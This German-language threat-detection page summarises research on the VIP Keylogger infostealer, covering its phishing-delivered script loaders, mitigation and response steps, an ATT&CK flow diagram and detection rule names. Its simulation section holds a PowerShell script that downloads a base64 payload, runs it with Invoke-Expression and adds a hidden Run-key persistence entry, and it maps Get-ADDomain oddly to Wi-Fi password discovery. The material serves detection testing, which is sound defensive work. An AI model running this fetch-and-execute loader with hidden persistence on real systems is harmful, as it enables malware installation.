VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
VIP Keylogger ist eine modulare Bedrohung für Informationsdiebstahl, die über Phishing-Köder wie gefälschte Bankzahlungsbenachrichtigungen verteilt wird. Seine Infektionskette basiert auf bösartigen VBS-, JavaScript- oder Batch-basierten Ladern, die starke Verschleierung, Steganografie in PNG-Bildern und Missbrauch von Umgebungsvariablen verwenden, um PowerShell-Stufen zu verbergen, bevor der endgültige Keylogger gestartet wird. Sobald aktiv, erfasst die Malware Anmeldedaten, Screenshots, Zwischenablageinhalte und WLAN-Passwörter und exfiltriert dann die Daten über mehrere Command-and-Control-Kanäle. Erkennungsbemühungen sollten sich auf verdächtige Registrierungsänderungen, ungewöhnliche Werte von Umgebungsvariablen und abnormale Übergänge von Skriptausführungen zu Binär-Payloads konzentrieren.
Untersuchung
Das Splunk Threat Research Team überprüfte mehr als 200 Laderproben, die im März und April 2026 gesammelt wurden, und dokumentierte deren Namensmuster, Lader-Varianten und den steganografischen Einsatz von PNG-Dateien zur Payload-Zustellung. Forscher rekonstruierten den Deobfuskationsprozess, erkannten den Missbrauch der INTERNAL_DB_CACHE Umgebungsvariable und verfolgten die Persistenz bis zum UserInitMprLogonScript Registrierungsschlüssel. Der Bericht ordnete auch jedes beobachtete Verhalten relevanten MITRE ATT&CK-Techniken zu, um die Detektionsentwicklung zu unterstützen.
Minderung
Organisationen sollten die initialen Phishing-Versuche durch stärkere E-Mail-Sicherheitskontrollen und URL-Filterung stoppen. Verteidiger sollten die Erstellung und Änderung von HKCUEnvironment Werten überwachen, insbesondere übergroße Einträge oder die Verwendung der INTERNAL_DB_CACHE Variable. Die Ausführung skriptbasierter Lader aus benutzerbeschreibbaren Verzeichnissen sollte eingeschränkt werden, und PowerShells eingeschränkter Sprachmodus sollte, wo möglich, durchgesetzt werden. Endpunktsicherheitswerkzeuge sollten auch das Einfügen von Prozessen in aspnet_compiler.exe und verdächtige netsh Aktivitäten erkennen.
Antwort
Wird ein VIP-Keylogger-Indikator entdeckt, sollte der betroffene Host isoliert, flüchtiger Speicher und kürzlich ausgeführte Prozesslogs gesammelt sowie nach bekannten Registrierungsartefakten, PNG-basierten Command-and-Control-URLs und abgelegten Dateien gesucht werden. Die bösartigen Skripte sollten entfernt, aufgedeckte Anmeldedaten zurückgesetzt und eine umfassendere Untersuchung der Umgebung auf verwandte Lader-Artefakte und Persistenzmechanismen durchgeführt werden.
"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 %% Nodes initial_access["<b>Action</b> – <b>T1566 Phishing</b><br/>Malicious .vbs/.js/.bat delivered via email"] class initial_access action execution["<b>Action</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Script stagers executed on the host"] class execution action obfuscation["<b>Action</b> – <b>T1027.016 Junk Code Insertion</b>, <b>T1027.003 Steganography</b>, <b>T1027.009 Embedded Payloads</b><br/>Payloads hidden or disguised"] class obfuscation action persistence["<b>Action</b> – <b>T1574.007 Hijack Execution Flow</b> via Registry Logon Script (UserInitMprLogonScript)<br/><b>T1037.001 Boot Logon Init Script</b><br/>Ensures code runs at logon"] class persistence action priv_esc["<b>Action</b> – <b>T1055.002 Process Injection PE</b>, <b>T1055.001 DLL Injection</b>, <b>T1620 Reflective Code Loading</b><br/>Escalates privileges and evades defenses"] class priv_esc action credential_access["<b>Action</b> – <b>T1555.003 Browser Data</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Clipboard Hijacking</b><br/>Collects user credentials"] class credential_access action discovery["<b>Action</b> – <b>T1596.005 External IP Discovery</b> via public services<br/><b>T1016.002 Wiu2011Fi Password Discovery</b><br/>Gathers network information"] class discovery action collection["<b>Action</b> – <b>T1113 Screen Capture</b><br/>Collects visual data from the desktop"] class collection action c2["<b>Action</b> – <b>T1071.001 Web Protocols</b> and Telegram bot API<br/>Provides remote command and control"] class c2 action defense_evasion["<b>Action</b> – <b>T1070.004 File Deletion</b>, <b>T1070.010 Indicator Removal</b><br/>Removes evidence after operation"] class defense_evasion action %% Connections showing attack flow initial_access –>|leads_to| execution execution –>|leads_to| obfuscation obfuscation –>|leads_to| persistence persistence –>|leads_to| priv_esc priv_esc –>|leads_to| credential_access credential_access –>|leads_to| discovery discovery –>|leads_to| collection collection –>|leads_to| c2 c2 –>|leads_to| defense_evasion "
Angriffsablauf
Erkennungen
Mögliche IP-Nachschlage-Domain-Kommunikation versucht (via dns)
Ansicht
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansicht
Die Möglichkeit der Ausführung durch versteckte PowerShell-Kommandozeilen (via cmdline)
Ansicht
LOLBAS WScript / CScript (via process_creation)
Ansicht
Verdächtige PowerShell-Strings (via powershell)
Ansicht
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Ansicht
Möglicher Telegram-Missbrauch als Command-and-Control-Kanal (via dns_query)
Ansicht
IOCs (HashSha256) zur Erkennung: Hinter dem Code: Die verschachtelte Verteidigung-Ausweichung des VIP Keylogger
Ansicht
VIP Keylogger-PowerShell-Ausführung über Umgebungsvariable [Windows PowerShell]
Ansicht
VIP-Keylogger-Persistenz über Registrierungsänderung [Windows Registry Event]
Ansicht
Simulationsausführung
Voraussetzung: Der Telemetrie- & Baseline-Vorabflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder unzusammenhängende Beispiele führen zu Fehldiagnosen.
-
Angriffs-Narrativ & Befehle:
- Erstes Erkennen – der Angreifer führt
Get-ADDomain(T1016.002) aus, um Vertrauensbeziehungen in der Domäne zu entdecken. - Payload-Erwerb – mittels
Invoke-WebRequest(T1071.001) lädt der Angreifer eine Base64-codierte DLL herunter, die den Keylogger implementiert (T1056.001). - Staging über Umgebungsvariable – die heruntergeladene Zeichenkette wird durch
[Environment]::SetEnvironmentVariablein einer benutzerdefinierten Umgebungsvariable gespeichert. Dieser Schritt erfüllt den Fokus der Erkennungsregel auf Manipulation von Umgebungsvariablen. - Dynamische Ausführung – der Angreifer führt die Payload sofort mit
Invoke-Expression $env:VIPPayload(T1059.001) aus. Der Keylogger beginnt Keystrokes, Screenshots (T1113) und Zwischenablagendaten (T1115) zu erfassen. - Bereinigung – nach der Etablierung der Persistenz (z. B. Erstellung eines Run-Schlüssels, T1037.001) löscht der Angreifer die temporäre DLL von der Festplatte (T1070.004) und entfernt die Umgebungsvariable, um den forensischen Fußabdruck zu reduzieren.
- Erstes Erkennen – der Angreifer führt
-
Regressionstest-Skript: Das unten stehende Skript reproduziert die genauen Schritte und erzeugt die Telemetrie, die die Sigma-Regel erwartet.
# VIP Keylogger Simulation – PowerShell # ------------------------------------------------- # 1. Laden Sie ein Dummy-Payload (Base64-codierter String) herunter $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Speichern Sie das Payload in einer benutzerdefinierten Umgebungsvariablen $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Dekodieren und führen Sie das Payload über Invoke-Expression aus $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Optional) Persistenz über Run-Schlüssel – demonstriert T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Bereinigung – entfernen Sie die Umgebungsvariable und den Run-Schlüssel-Eintrag Start-Sleep -Seconds 30 # zulassen, dass einige Aktivitäten protokolliert werden Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Bereinigungsbefehle: Führen Sie diese Befehle aus, um das System nach dem Test in einen einwandfreien Zustand zurückzuversetzen.
# Entfernen Sie die für den Test erstellte Umgebungsvariable [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Löschen Sie den Persistenz-Run-Schlüssel-Eintrag, falls vorhanden $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Löschen Sie alle verbleibenden PowerShell-Verlaufsdatensätze (optional) Clear-History